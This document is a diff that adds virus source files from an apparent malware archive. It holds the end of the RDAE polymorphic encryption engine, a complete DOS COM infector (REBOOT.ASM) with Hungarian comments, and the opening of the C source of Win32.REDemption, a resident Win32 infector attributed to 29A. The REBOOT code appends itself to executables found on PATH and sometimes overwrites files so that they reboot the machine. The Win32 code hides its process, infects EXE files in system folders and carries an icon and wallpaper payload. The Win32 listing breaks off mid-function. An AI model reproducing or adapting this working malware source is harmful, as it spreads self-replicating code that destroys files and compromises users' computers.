Below? Jump to dont_inc_key + + inc bx ; Increase decryption key index po... + + lea si,[bp+key_end] ; SI = offset of key_end + cmp bx,si ; End of table of encryption/decr...? + jne sto_idx_ptrs ; Not equal? Jump to sto_idx_ptrs + + lea bx,[bp+key_table] ; AX = offset of key_table +dont_inc_key: + add ax,04h ; Add four to offset within algori... + + lea si,[bp+algori_end_] ; SI = offset of algori_end_ + cmp ax,si ; End of table of encryption/decr...? + jne sto_idx_ptrs ; Equal? Jump to sto_idx_ptrs + + lea ax,[bp+algori_table] +sto_idx_ptrs: + xchg ax,bx ; AX = offset within key_table + stosw ; Store offset within key_table + + xchg ax,bx ; AX = offset within algori_table + stosw ; Store offset within algori_table + + lea si,[bp+algori_table] + cmp ax,si ; Beginning of table of encryptio...? + je inc_idx_loop ; Equal? Jump to inc_idx_loop + + call calc_crc32 + cmp ax,word ptr [bp+crc32] + jne gen_dec_loo ; Not equal? Jump to gen_dec_loo + cmp dx,word ptr [bp+crc32+02h] + jne gen_dec_loo ; Not equal? Jump to gen_dec_loo + + pop si cx ; Load registers from stack + mov di,si ; DI = offset of encrypted code +decrypt_loop: + lodsb ; AL = byte of encrypted code +decryp_begin: +decrypt_algo db 08h dup (?) ; Decryption algorithm +decryp_end: + stosb ; Store byte of decrypted code + + loop decrypt_loop +rdae_exit: + call wipeout_info + + ret ; Return + endp + +prepare_rdae proc near ; Prepare Random Decoding Algorith... + lea di,[bp+crc32_table] ; DI = offset of crc32_table + + xor bx,bx ; Zero BX +gen_crc_tbl_: + xor ax,ax ; Zero AX + cwd ; " DX + + mov al,bl ; AL = count register + mov cx,08h ; Rotate CRC-32 through carry atle... +calc_crc_tbl: + shr dx,01h ; Shift logical right highh-order ... + rcr ax,01h ; Rotate low-order word of CRC-32 ... + jnc dont_xor_crc ; No carry? Jump to dont_xor_crc + + xor ax,8320h ; AX = low-order word of CRC-32 in... + xor dx,0edb8h ; DX = high-order word of CRC-32 i... +dont_xor_crc: + loop calc_crc_tbl + + stosw ; Store low-order word of CRC-32 i... + xchg ax,dx ; AX = high-order word of CRC-32 i... + stosw ; Store high-order word of CRC-32 ... + xchg ax,dx ; AX = low-order word of CRC-32 in... + + inc bl ; Increase count register + jnz gen_crc_tbl_ ; Not zero? Jump to gen_crc_tbl_ + +wipeout_info proc near ; Wipeout information + mov al,10010000b ; NOP (opcode 90h) + mov cl,08h ; Store eight NOPs + lea di,[bp+encrypt_algo] + rep stosb ; Store NOPs + + mov cl,08h ; Store eight NOPs + add di,(decrypt_algo-encryp_end) + rep stosb ; Store NOPs + + lea ax,[bp+key_table] ; BX = offset of key_table + lea bx,[bp+algori_table] + mov cl,04h ; Store four decryption algorithm ... + lea di,[bp+decrypt_ptr] ; DI = offset of decrypt_ptr +sto_idx_loop: + stosw ; Store offset of key_table + xchg ax,bx ; AX = offset of algori_table + stosw ; Store offset of algori_table + xchg ax,bx ; AX = offset of key_table + + loop sto_idx_loop + ret ; Return! + endp + endp + +calc_crc32 proc near ; Calculate CRC-32 checksum + mov cx,(decryp_end-decryp_begin) + lea si,[bp+decrypt_algo] + + mov ax,-01h ; AX = low-order word of CRC-32 ch... + mov dx,ax ; DX = high-order word of CRC-32 c... +crc32_loop: + xor bx,bx ; Zero BX + + mov bl,[si] ; BL = low-order byte of index reg... + inc si ; Increase index register + + xor bl,al ; BL = low-order byte of index reg... + shl bx,01h ; Multiply index register by four + shl bx,01h ; " " " " " + + mov al,ah ; AL = low-order byte of low-order... + mov ah,dl ; AH = high-order byte of low-orde... + mov dl,dh ; DL = low-order byte of low-order... + xor dh,dh ; Zero DH + + add bx,bp ; Add delta offset to offset withi... + xor ax,word ptr [bx+crc32_table] + xor dx,word ptr [bx+crc32_table+02h] + + loop crc32_loop + + not dx ; AX = low-order word of CRC-32 ch... + not ax ; DX = high-order word of CRC-32 c... + + ret ; Return! + endp + +; Modified version of the Random Number Generator (RNG) used in the Rickety +; and Hardly Insidious yet New Chaos Engine v 2.00 [RHINCE] by +; Rhincewind/VLAD. +get_rnd_num proc near ; Get 8-bit random number + in al,40h ; AL = 8-bit random number + + adc [bp+random_num],al ; Add current 8-bit random number ... +random_num equ byte ptr $+01h ; 8-bit random number + mov ax,00h ; AX = 8-bit random number + + ret ; Return! + endp + +rnd_in_range proc near ; Get random number within range + xchg ax,bx ; BL = number within range + call get_rnd_num + + div bl ; AH = random number within range + mov bl,ah ; BL = " " " " + xor bh,bh ; Zero BH + + ret ; Return! + endp + +exam_sto_key proc near ; Examine, store encryption/decryp... + lea bx,[bp+algori_end] ; BX = offset of algori_end + cmp si,bx ; Encryption/decryption algorithm...? + jbe dont_sto_key ; Below or equal? Jump to dont_sto... + + dec di ; DI = offset of encryption/decryp... + stosb ; Store encryption/decryption key +dont_sto_key: + ret ; Return! + endp + + db ' [RDAE] ' ; Name of the engine +algori_table: +algori_begin: + nop ; Decryption algorithm + nop ; Decryption " + nop ; Encryption " + nop ; Encryption " + segcs ; Decryption " + segcs ; Decryption " + segcs ; Encryption " + segcs ; Encryption " + not al ; Decryption " + not al ; Encryption " + neg al ; Decryption " + neg al ; Encryption " + inc al ; Decryption " + dec al ; Encryption " + dec al ; Decryption " + inc al ; Encryption " + ror al,01h ; Decryption " + rol al,01h ; Encryption " + rol al,01h ; Decryption " + ror al,01h ; Encryption " + xor al,cl ; Decryption " + xor al,cl ; Encryption " + sub al,cl ; Decryption " + add al,cl ; Encryption " + ror al,cl ; Decryption " + rol al,cl ; Encryption " + rol al,cl ; Decryption " + ror al,cl ; Encryption " + add al,cl ; Decryption " + sub al,cl ; Encryption " +algori_end: + xor al,00h ; Encryption " + xor al,00h ; Decryption " + sub al,00h ; Encryption " + add al,00h ; Decryption " + add al,00h ; Encryption " + sub al,00h ; Decryption " +algori_end_: +crc32 dd ? ; CRC-32 of the decryption algorithm +key_begin: +key_table db 51h dup(?) ; Table of encryption/decryption keys +key_end: +rdae_end: +rdae_length equ (rdae_end-rdae_begin) +[rdae.asm] +[rdae.inc] +crc32_table db 400h dup(?) ; CRC-32 initial table +decrypt_ptr dw 08h dup(?) ; Decryption algorithm and key poi... +[rdae.inc] diff --git a/r/REBOOT.ASM b/r/REBOOT.ASM new file mode 100755 index 0000000..6f6fc1b --- /dev/null +++ b/r/REBOOT.ASM @@ -0,0 +1,230 @@ + PAGE ,132 +VIRUS SEGMENT PARA PUBLIC 'CODE' + ASSUME CS:VIRUS,DS:VIRUS + +HOSSZ EQU VEG-KEZDET +KEZDET EQU $ + +INDIT: PUSH CX +TBLC: MOV DX,OFFSET TABL + CLD ; SZTRINGMUVELETEK NOVEKVO IRANYBA + MOV SI,DX ; SI TARTALMAZZA A TABLAZAT KEZDOCIMET + ADD SI,OFFSET FILKEZ-TABL + MOV DI,100H ; AZ ELSO HAROM BYTE VISSZAALLITASA + MOV CX,3 + REPZ MOVSB + MOV SI,DX ; SI-BE ISMET A TABLAZAT KEZDOCIME + MOV AH,30H ; A DOS VERZIOSZAM LEKERDEZESE + INT 21H + CMP AL,0 ; MEG AZ 1.X VERZIO? + JNZ IND1 ; NEM + JMP IND2 ; IGEN, A VIRUS NEM TUD TERJEDNI +IND1: PUSH ES ; ES ELMENTESE + MOV AH,2FH ; A DTA CIMENEK LEKERDEZESE + INT 21H ; ES ELTAROLASA A TABLAZATBAN + MOV WORD PTR [SI+DTACIM-TABL],BX + MOV WORD PTR [SI+DTACIM-TABL+2],ES + POP ES ; ES VISSZAOLVASASA + MOV DX,UJDTA-TABL + ADD DX,SI ; A DTA UJ CIMENEK BEALLITASA + MOV AH,1AH + INT 21H + PUSH ES ; REGISZTEREK ELMENTESE + PUSH SI + MOV ES,DS:2CH ; A DOS KORNYEZET CIME + MOV DI,0 ; ELEJETOL +IND3: POP SI ; SI VISSZAOLVASASA + PUSH SI ; ES VISSZAIRASA + ADD SI,OFFSET SZOVEG-TABL + LODSB ; EGY KARAKTER BETOLTESE + MOV CX,8000H ; A KORNYEZET MAX. 32K + REPNZ SCASB ; AZ ELSO KARAKTER KERESESE + MOV CX,OFFSET FSPEC-SZOVEG-1 +IND4: LODSB ; A KOVETKEZO KARAKTER BEOLVASASA + SCASB ; ES ELLENORZESE + JNZ IND3 ; NEM EGYEZIK + LOOP IND4 ; FOLYTATNI + POP SI ; A REGISZTEREK VISSZAALLITASA + POP ES + MOV [SI+UTCIM-TABL],DI + MOV DI,SI ; DI-BE A TABLAZAT KEZDOCIME + ADD DI,OFFSET FSPEC-TABL + MOV BX,SI ; SI ELMENTESE BX-BE + ADD SI,OFFSET FSPEC-TABL + MOV DI,SI + JMP SHORT IND5 ; KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN +INDE: CMP WORD PTR [SI+UTCIM-TABL],0 + JNZ IND6 ; VAN MEG TOBB UT + JMP IND7 ; MINDEN LEHETSEGES FILE FERTOZOTT +IND6: PUSH DS ; A REGISZTEREK ELMENTESE + PUSH SI + MOV DS,ES:2CH ; DS-BE A DOS KORNYEZET SZEGMENSE + MOV DI,SI ; DI A TABLAZATRA MUTAT + MOV SI,WORD PTR ES:[DI+UTCIM-TABL] + ADD DI,OFFSET FSPEC-TABL +IND8: LODSB ; EGY KARAKTER BETOLTESE + CMP AL,3BH ; ';' AZ UTAKAT VALASZTJA EL + JZ IND9 ; ANNAK A KODJA + CMP AL,0 ; A LEZARO NULLA? + JZ INDA ; AZ A KOD + STOSB ; ELTAROLAS + JMP SHORT IND8 ; FOLYTATNI +INDA: MOV SI,0 ; TOBB UT NEM LETEZIK +IND9: POP BX ; BX A TABLAZAT KEZDOCIME + POP DS ; DS VISSZAALLITASA + MOV [BX+UTCIM-TABL],SI + CMP BYTE PTR [DI-1],5CH ; A FILE SPECIFIKACIO '\' LETT LEZARVA? + JZ IND5 ; IGEN + MOV AL,5CH ; A '\' KODJA + STOSB ; ELTAROLASA +IND5: MOV [BX+FAKT-TABL],DI + MOV SI,BX ; A TABLAZAT KEZDOCIME BX + ADD SI,OFFSET FKER-TABL ; KERESO NEV + MOV CX,OFFSET UTCIM-FKER + REPZ MOVSB ; ATMASOLASA A FILE SPECIFIKACIOBA + MOV SI,BX ; SI A TABLAZAT KEZDOCIME + MOV AH,4EH ; FILE KERESESE + MOV DX,FSPEC-TABL + ADD DX,SI ; A FILE SPECIFIKACIO CIME + MOV CX,11B ; A KERESETT ATTRIBUTUM + INT 21H + JMP SHORT INDC ; A KOVETKEZO RESZT ATUGRANI +INDF: MOV AH,4FH ; A KOVETKEZO FILENEV KERESESE + INT 21H +INDC: JNC INDD ; MEGTALALTUK + JMP INDE ; NINCS ITT TOBB HASONLO +INDD: MOV AX,[SI+UJDTA-TABL+22] + AND AL,11111B ; A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT + CMP AL,11111B ; 62 MASODPERC? /FERTOZEST EZZEL JELZI/ + JZ INDF ; IGEN, TOVABB KELL KERESNI + CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H + JA INDF ; TUL NAGY FILE, NEM FERTOZHETO + CMP WORD PTR [SI+UJDTA-TABL+26],0AH + JB INDF ; TUL KICSI FILE + MOV DI,[SI+FAKT-TABL] + PUSH SI ; A TABLAZAT KEZDOCIMENEK ELMENTESE + ADD SI,OFFSET UJDTA-TABL+30 +INDG: LODSB ; A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA + STOSB + CMP AL,0 ; A NEV ZARO NULLA? + JNZ INDG ; NEM, FOLYTATNI + POP SI ; A TABLAZAT KEZDOCIMENEK VISSZAALLITASA + MOV AX,4300H ; A FILE ATTRIBUTUM BEOLVASASA + MOV DX,FSPEC-TABL + ADD DX,SI ; A FILE SPECIFIKACIO CIME + INT 21H + MOV [SI+FILATT-TABL],CX + MOV AX,4301H ; A FILE ATTRIBUTUM BEALLITASA + DB 81H,0E1H,0FEH,0FFH ; AZ R/O BIT TORLESE + MOV DX,FSPEC-TABL + ADD DX,SI ; A FILE SPECIFIKACIO CIME + INT 21H + MOV AX,3D02H ; A FILE MEGNYITASA IRASRA & OLVASASRA + MOV DX,FSPEC-TABL + ADD DX,SI ; A FILE SPECIFIKACIO CIME + INT 21H + JNC INDH ; NINCS HIBA + JMP INDK ; HIBA TORTENT +INDH: MOV BX,AX ; A FILESZAM ATVITELE + MOV AX,5700H ; A KELETKEZESI IDO BEOLVASASA + INT 21H ; ES BEALLITASA + MOV [SI+FILIDO-TABL],CX + MOV [SI+FILDAT-TABL],DX + MOV AH,2CH ; A RENDSZERIDO BEOLVASASA + INT 21H + AND DH,111B ; A MASODPERCEK OSZTHATOK NYOLCCAL? + JNZ INDI ; NEM, A FILE-T CSAK MEGFEROZZUK + MOV AH,40H ; EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/ + MOV CX,5 ; A JMP FAR F000:FFF0 5 BYTE HOSSZU + MOV DX,SI ; DX A TABLAZAT KEZDETERE MUTAT + ADD DX,OFFSET RESET-TABL + INT 21H ; A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE + JMP INDJ ; ENNEK MAR BEVEGEZTETETT +INDI: MOV AH,3FH ; OLVASAS A FILEBOL + MOV CX,3 ; AZ ELSO HAROM BYTE + MOV DX,FILKEZ-TABL ; A MEGFELELO CIMRE + ADD DX,SI + INT 21H ; BEOLVASNI + JC INDJ ; HIBA TORTENT + CMP AX,3 ; MIND A HAROM BYTEOT BEOLVASTA? + JNZ INDJ ; NEM, HIBA VOLT + MOV AX,4202H ; MUTATO A FILE VEGERE + MOV CX,0 + MOV DX,0 + INT 21H + JC INDJ ; TORTENT HIBA? + MOV CX,AX ; A FILE HOSSZA + SUB AX,3 ; MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM + MOV [SI+UJKEZ-TABL+1],AX + ADD CX,OFFSET TABL+100H ; A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN + MOV DI,SI ; A TABLAZAT KEZDETE + SUB DI,OFFSET TABL-TBLC-1 + MOV [DI],CX ; A MOV DX, UTASITAS PARAMETERE + MOV AH,40H ; KIIRAS A FILE-BA + MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA + MOV DX,SI ; A TABLAZAT KEZDOCIME + SUB DX,OFFSET TABL ; MINUSZ A VIRUSTORZS HOSSZA + INT 21H ; KIIRAS + JC INDJ ; HIBA TORTENT + CMP AX,OFFSET HOSSZ ; MINDEN BYTEOT KIIRT? + JNZ INDJ ; NEM + MOV AX,4200H ; MUTATO A FILE ELEJERE + MOV CX,0 + MOV DX,0 + INT 21H + JC INDJ ; HIBA TORTENT? + MOV AH,40H ; KIIRAS A FILE-BA + MOV CX,3 ; AZ ELSO 3 BYTE KIIRASA + MOV DX,SI + ADD DX,OFFSET UJKEZ-TABL + INT 21H ; KIIRAS +INDJ: MOV DX,[SI+FILDAT-TABL] + MOV CX,[SI+FILIDO-TABL] + DB 81H,0E1H,0E0H,0FFH ; AND CX,0FFE0H + OR CX,OFFSET 11111B ; AZ IDO 62 MASODPERC + MOV AX,5701H ; A KELETKEZESI DATUM ES IDO VISSZAIRASA + INT 21H ; ES A FERTOZES JELZESE + MOV AH,3EH ; FILE LEZARASA + INT 21H +INDK: MOV AX,4301H ; A REGI ATTRIBUTUM VISSZAALLITASA + MOV CX,[SI+FILATT-TABL] + MOV DX,FSPEC-TABL + ADD DX,SI ; A FILE SPECIFIKACIO CIME + INT 21H +IND7: PUSH DS ; DS ELMENTESE + MOV AH,1AH ; A DTA REGI CIMENEK BEALLITASA + MOV DX,WORD PTR [SI+DTACIM-TABL] + MOV DS,WORD PTR [SI+DTACIM-TABL+2] + INT 21H + POP DS ; DS VISSZAALLITASA +IND2: POP CX + XOR AX,AX ; AX=0 + XOR BX,BX ; BX=0 + XOR DX,DX ; DX=0 + XOR SI,SI ; SI=0 + MOV DI,100H ; 100H A VEREMBE + PUSH DI + XOR DI,DI ; DI=0 + RET 0FFFFH + +TABL EQU $ + +DTACIM DD 0 +FILIDO DW 0 +FILDAT DW 0 +FILATT DW 0 +FILKEZ DB 0,0,0 +UJKEZ DB 0,0,0 +FKER DB '*.COM',0 +UTCIM DW 0 +FAKT DW 0 +SZOVEG DB 'PATH=' +FSPEC DB 40H DUP(' ') +UJDTA DB 2BH DUP(0) +RESET DB 0EAH,0F0H,0FFH,0,0F0H + +VEG EQU $ + +VIRUS ENDS + + END \ No newline at end of file diff --git a/r/REDEMPTI.ASM b/r/REDEMPTI.ASM new file mode 100755 index 0000000..02b62c8 --- /dev/null +++ b/r/REDEMPTI.ASM @@ -0,0 +1,1826 @@ +[win32red.c] +/* +Win32.REDemption.9216 virus. +(c) 1998. Jacky Qwerty/29A. + +Description + +This is a resident HLL (High Level Language) Win32 appender virus +written in C. It infects all sort of EXE files: DOS EXE files, NE files, +PE files from Win32 (Win95/NT), etc. Infected files only spread in Win32 +platforms, including Win3.x with Win32s subsystem. The virus infects +EXE files by changing the pointer at 3Ch in the MZ header which points +to the new EXE header (if any) placing another pointer to the virus own +PE header attached at the end of the file. When the virus executes, it +infects all EXE files from Windows, System and current folder. Then it +spawns itself as another task (thus staying resident), makes itself +invisible (thus becoming unloadable) and periodically searches for non- +infected EXE files in all drives, infecting them in the background. + +Most interesting feature of this virus is that infected files don't +grow at all, that is, files have same size before and after infection. +The virus compresses part of its host by using own JQCODING algorithm. +It also copies host icon to its own resource section to show original icon. +The virus has no problems related to finding the KERNEL32 base address +and its API functions. This is because all API functions are imported +implicitly from the virus own import table. The virus takes special care +of patching appropriately all RVA and RAW fields from its own PE header, +including code, data, imports, relocations and resource sections. This +is needed for the virus to spread succesfully through all kinds of hosts. + +Payload + +On October the 29th, the virus replaces the main icon of all infected +programs with its own icon, a 29A logo. It also changes default +desktop wallpaper to such logo. + +To build + +Just run the BUILD.BAT file to build release version. VC++ 6.0 compiler +was used since it proved to optimize better than Borland's or Watcom's. + +Greets go to + +All 29Aers..... for all the work quality and effort during this #3 issue, + keep up the good work dudes! +b0z0........... for such invaluable feedback during betatesting, thanks + a lot man, you rock! +My gf Carol.... who's been pushing me to quit the scene, but still not + enough, i.o.u. #8). +Rajaat/Sandy... Hey we all miss you.. come back to 29A! + +Disclaimer + +This source code is provided for educational purposes only. The author is +NOT responsible in any way, for problems it may cause due to improper use! + +(c) 1998. Jacky Qwerty/29A. +*/ + +#define WIN32_LEAN_AND_MEAN + +#include + +#ifdef tsr +#include "win95sys.h" +#endif + +#ifdef compr +#include "jqcoding.h" +#endif + +#ifdef icon +#include "winicons.h" +#include "winres.h" +#endif + + +//constants.. + +#ifdef _MSC_VER // Microsoft VC++ +# ifdef release +# define DATA_SECTION_RAW 0x200 //0xE00 +# else +# define DATA_SECTION_RAW 0x1400 //0x1600 +# endif +# define COMPILER_DATA 0 //0x30 (VC++4) +# define SIZEOF_RESOURCE_DATA 0x504 +#endif + +#ifdef __BORLANDC__ // Borland C++ +# ifdef release +# define DATA_SECTION_RAW ? //0x1000 +# define COMPILER_DATA 0 +# else +# define DATA_SECTION_RAW ? //0x6200 +# define COMPILER_DATA 0x74 +# endif +# define SIZEOF_RESOURCE_DATA ? +#endif + +#define VIRUS_SIZE (FILE_SIZE - PE_HEADER_OFFSET) + +#define STARTOF_CODEDATA (DATA_SECTION_RAW + COMPILER_DATA -\ + PE_HEADER_OFFSET) +#define RawSelfCheck (STARTOF_CODEDATA + sizeof(szCopyright) - 5) + +#define INIT_VARS_OFFSET (STARTOF_CODEDATA + sizeof(szCopyright) +\ + sizeof(szExts) + 3 & -4) +#ifdef tsr +#define RawProgType INIT_VARS_OFFSET +#define RawSrcVir (RawProgType + 4) +#else +#define RawSrcVir INIT_VARS_OFFSET +#endif +#define RawOldPtr2NewEXE (RawSrcVir + 4) +#define RawOldFileSize (RawOldPtr2NewEXE + 4) +#ifdef compr +#define RawnComprSize (RawOldFileSize + 4) +#define RawCipherTarget (RawnComprSize + 4) +#define TmpVal RawCipherTarget +#else +#define TmpVal RawOldFileSize +#endif +#ifdef icon +#define RawOldResourceAddr (TmpVal + 4) +#endif + +#ifndef compr +#define SIZE_PAD 101 +#endif +#define READ_ONLY FALSE +#define WRITE_ACCESS TRUE +#define SIZEOF_FILEEXT 3 +#define MAX_FILESIZE 0x4000000 //64 MB +#ifdef compr +#define MIN_FILESIZE 0x4000 //16 KB +#endif +#define PREV_LAPSE 3 //1 * 60 //10 * 60 //seconds +#define SEEK_LAPSE 3 //5 //30 //seconds + + +//macros.. + +#define Rva2Ptr(Type, Base, RVA) ((Type)((DWORD)(Base) + (DWORD)(RVA))) + +#define IsFile(pFindData) (!((pFindData)->dwFileAttributes &\ + FILE_ATTRIBUTE_DIRECTORY)) +#define IsFolder(pFindData) (!IsFile(pFindData) &&\ + (pFindData)->cFileName[0] != '.') + +#define PushVar(Object) __asm push (Object) +#define PopVar(Object) __asm pop (Object) + + +//type definitions.. + +#ifdef tsr +typedef BYTE PROG_TYPE, *PPROG_TYPE; +#define TSR_COPY 0 +#define HOST_COPY 1 +#endif + +typedef BYTE BOOLB; + +typedef struct _IMAGE_RELOCATION_DATA { // not defined in winnt.h + WORD RelocOffset :12; + WORD RelocType :4; +} IMAGE_RELOCATION_DATA, *PIMAGE_RELOCATION_DATA; + +#ifdef icon +typedef struct _ICONIMAGES { + PICONIMAGE pLargeIcon; + PICONIMAGE pSmallIcon; +} ICONIMAGES, *PICONIMAGES; +#endif + + +//global variables.. + +BYTE szCopyright[] = "(c) Win32.REDemption (C ver.1.0) by JQwerty/29A", + szExts[] = "eXeSCr"; +#ifdef tsr +PROG_TYPE ProgType = HOST_COPY; +#endif +DWORD SrcVir = PE_HEADER_OFFSET, OldPtr2NewEXE = 1, OldFileSize = FILE_SIZE; +#ifdef compr +DWORD nComprSize = 1, CipherTarget = 1; +#endif +#ifdef icon +DWORD OldResourceAddr = RESOURCE_SECTION_RVA; +#include "jq29aico.h" +#endif +DWORD ExitCode = 0; +#ifndef compr +DWORD _TgtVir; +#else +DWORD CipherSource; +#endif +DWORD _RvaDelta; +HANDLE hHandle1, hHandle2; +BYTE PathName[MAX_PATH], HostName[MAX_PATH], TmpName[MAX_PATH]; +WIN32_FIND_DATA FindData, FindDataTSR; +STARTUPINFO StartupInfo = { 0 }; +PROCESS_INFORMATION ProcessInfo; +PIMAGE_DOS_HEADER pMZ, pHostMZ; +PIMAGE_NT_HEADERS _pHostPE; +#ifdef msgbox +BOOLB CancelFolderSeek = FALSE, CancelFileSeek = FALSE; +#ifdef tsr +HANDLE hMutex; +#endif +#endif +#ifdef icon +BOOLB bPayLoadDay = FALSE; +PIMAGE_RESOURCE_DIRECTORY pRsrcStart; +BYTE HostLargeIcon[SIZEOF_LARGE_ICON]; +BYTE HostSmallIcon[SIZEOF_SMALL_ICON]; +#endif +#ifdef compr +BYTE ComprMem[0x10000]; +#ifdef icon +#define SIZEOF_BMP 0x8076 //32Kb + Bitmap header.. +BYTE jq29aBmp[SIZEOF_BMP] = { 0 }; +#endif +#endif + +#define sz29A (szCopyright + sizeof(szCopyright) - 4) +#define szJQ (szCopyright + sizeof(szCopyright) - 12) + + +//function declarations.. + +VOID Win32Red(VOID); +BOOLB OpenMapFile(PBYTE FileName, BOOLB WriteAccess); +VOID CloseTruncFile(BOOLB WriteAccess); +VOID InfectPath(PBYTE PathName, DWORD cBytes); +VOID CloseUnmapFile(BOOLB WriteAccess); +PBYTE GetEndOfPath(PBYTE pTgt, PBYTE pSr); +PVOID Rva2Raw(DWORD Rva); +#ifdef icon +VOID FixResources(PIMAGE_RESOURCE_DIRECTORY pRsrcDir); +VOID GetDefaultIcons(PICONIMAGES pIconImages, + PVOID pNEorPE); +#endif +#ifdef tsr +VOID ExecTemp(PROG_TYPE ProgType); +__inline VOID SeekTSR(VOID); +VOID WalkFolder(PBYTE PathName); +VOID HideProcess(VOID); +__inline PPROCESS_DATABASE GetProcessDB(VOID); +__inline PTHREAD_DATABASE GetThreadDB(VOID); +#else +__inline VOID ExecTemp(VOID); +#endif + + +//function definitions.. + +VOID Win32Red() { + #ifdef tsr + #ifndef msgbox + HANDLE hMutex; + #endif + HideProcess(); + #endif + #ifdef icon + #include "payload.c" + #endif + if (GetModuleFileName(0, HostName, MAX_PATH) && + OpenMapFile(HostName, READ_ONLY)) { + pHostMZ = pMZ; + PushVar(hHandle1); //better pushin/popin than usin a temp. var. + PushVar(hHandle2); //better pushin/popin than usin a temp. var. + SrcVir += (DWORD)pMZ; + #ifdef tsr + if (ProgType != TSR_COPY) { + #ifdef msgbox + MessageBox(NULL, "Non-resident stage..", szCopyright, MB_OK); + #endif + #endif + #ifdef compr + PushVar(nComprSize); + PushVar(CipherTarget); + #endif + InfectPath(PathName, GetWindowsDirectory(PathName, 0x7F)); + InfectPath(PathName, GetSystemDirectory(PathName, 0x7F)); + InfectPath(PathName, (*PathName = '.', 1)); + #ifdef compr + PopVar(CipherTarget); + PopVar(nComprSize); + #endif + #ifdef tsr + } + else { + if ((hMutex = CreateMutex(NULL, FALSE, szJQ))) + if (GetLastError() == ERROR_ALREADY_EXISTS) + #if 1 + #ifdef msgbox + MessageBox(NULL, "TSR: Mutex exists!", szCopyright, MB_OK), + #endif + #endif + CloseHandle(hMutex), + ExitProcess(ExitCode); + #if 1 + #ifdef msgbox + else + MessageBox(NULL, "TSR: Mutex created!", szCopyright, MB_OK); + #endif + #endif + #ifdef msgbox + MessageBox(NULL, "Resident stage..", szCopyright, MB_OK); + #endif + SeekTSR(); + #ifdef msgbox + MessageBox(NULL, "TSR: bye bye..", szCopyright, MB_OK); + #endif + } + #endif + PopVar(hHandle2); //better pushin/popin than usin a temp. var. + PopVar(hHandle1); //better pushin/popin than usin a temp. var. + pMZ = pHostMZ; + CloseUnmapFile(READ_ONLY); + #ifdef tsr + if (ProgType != TSR_COPY) { + if ((hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, szJQ))) + #ifndef msgbox + CloseHandle(hMutex); + #else + CloseHandle(hMutex), + MessageBox(NULL, "HOST: Mutex exists!", szCopyright, MB_OK); + #endif + else + if (GetTempPath(MAX_PATH, PathName) - 1 < MAX_PATH - 1) + #ifdef msgbox + MessageBox(NULL, "HOST: Mutex doesn't exist!", + szCopyright, MB_OK), + #endif + ExecTemp(TSR_COPY); + GetEndOfPath(PathName, HostName); + ExecTemp(HOST_COPY); + } + #else + GetEndOfPath(PathName, HostName); + ExecTemp(); + #endif + } + ExitProcess(ExitCode); +} + +#ifdef tsr +VOID ExecTemp(PROG_TYPE ProgType) { +#else +__inline VOID ExecTemp() { +#endif + PBYTE pSrc, szCmdLine; + HANDLE hFindFile; + #ifdef compr + BOOLB DecomprOK = TRUE; + #endif + #ifdef tsr + DWORD cBytes; + if (ProgType == TSR_COPY) { + if (PathName[(cBytes = lstrlen(PathName)) - 1] != '\\') + PathName[cBytes++] = '\\'; + *(PDWORD)(PathName + cBytes) = '*A92'; + *(PDWORD)(PathName + cBytes + 4) = '*.'; + if ((hFindFile = FindFirstFile(PathName, &FindData)) != + INVALID_HANDLE_VALUE) { + do { + lstrcpy(PathName + cBytes, FindData.cFileName); + DeleteFile(PathName); + } while (FindNextFile(hFindFile, &FindData)); + FindClose(hFindFile); + } + PathName[cBytes] = '\x0'; + } + #endif + if (!(cBytes = lstrlen(PathName), + GetTempFileName(PathName, sz29A, 0, PathName)) && + (GetTempPath(MAX_PATH, PathName) - 1 >= MAX_PATH - 1 || + !(cBytes = lstrlen(PathName), + GetTempFileName(PathName, sz29A, 0, PathName)))) + return; + if (ProgType != TSR_COPY) + for (;;) { + pSrc = PathName + lstrlen(lstrcpy(TmpName, PathName)); + while (*--pSrc != '.'); *(PDWORD)(pSrc + 1) = 'EXE'; + if (MoveFile(TmpName, PathName)) + break; + DeleteFile(TmpName); + PathName[cBytes] = '\x0'; + if (!GetTempFileName(PathName, sz29A, 0, PathName)) + return; + } + if (CopyFile(HostName, PathName, FALSE) && + SetFileAttributes(PathName, FILE_ATTRIBUTE_NORMAL) && + (hFindFile = FindFirstFile(HostName, &FindData)) != + INVALID_HANDLE_VALUE) { + if (OpenMapFile(PathName, WRITE_ACCESS)) { + #ifdef tsr + if (ProgType != TSR_COPY) { + #endif + pMZ->e_lfanew = OldPtr2NewEXE; + #ifndef compr + FindData.nFileSizeLow = OldFileSize; + #else + #ifdef msgbox + #if 0 + MessageBox(NULL, "Host decoding is about to start..", + szCopyright, MB_OK); + #endif + #endif + if (jq_decode(Rva2Ptr(PBYTE, pMZ, OldFileSize), + Rva2Ptr(PBYTE, pMZ, CipherTarget + nComprSize), + nComprSize, + ComprMem) != OldFileSize - CipherTarget) { + DecomprOK = FALSE; + #ifdef msgbox + #if 1 + MessageBox(NULL, "Decode error: File is corrupt!", + szCopyright, MB_OK); + #endif + #if 0 + } + else { + MessageBox(NULL, "Host decoded succesfully!", + szCopyright, MB_OK); + #endif + #endif + } + #endif + #ifdef tsr + } + else + *Rva2Ptr(PPROG_TYPE, + Rva2Ptr(PIMAGE_NT_HEADERS, pMZ, pMZ->e_lfanew), + RawProgType) = TSR_COPY; + #endif + #ifndef compr + UnmapViewOfFile(pMZ); + CloseTruncFile(WRITE_ACCESS); + #else + CloseUnmapFile(WRITE_ACCESS); + if (DecomprOK) { + #endif + pSrc = GetCommandLine(); while (*++pSrc != 0x20 && *pSrc); + if ((szCmdLine = (PBYTE)GlobalAlloc(LPTR, MAX_PATH + + lstrlen(pSrc) + 1))) { + lstrcat(lstrcpy(szCmdLine, PathName), pSrc); + (BYTE)StartupInfo.cb = sizeof(STARTUPINFO); + if (CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, + CREATE_NEW_CONSOLE, NULL, NULL, + &StartupInfo, &ProcessInfo)) { + #ifdef tsr + if (ProgType != TSR_COPY) { + #endif + WaitForSingleObject(ProcessInfo.hProcess, INFINITE); + 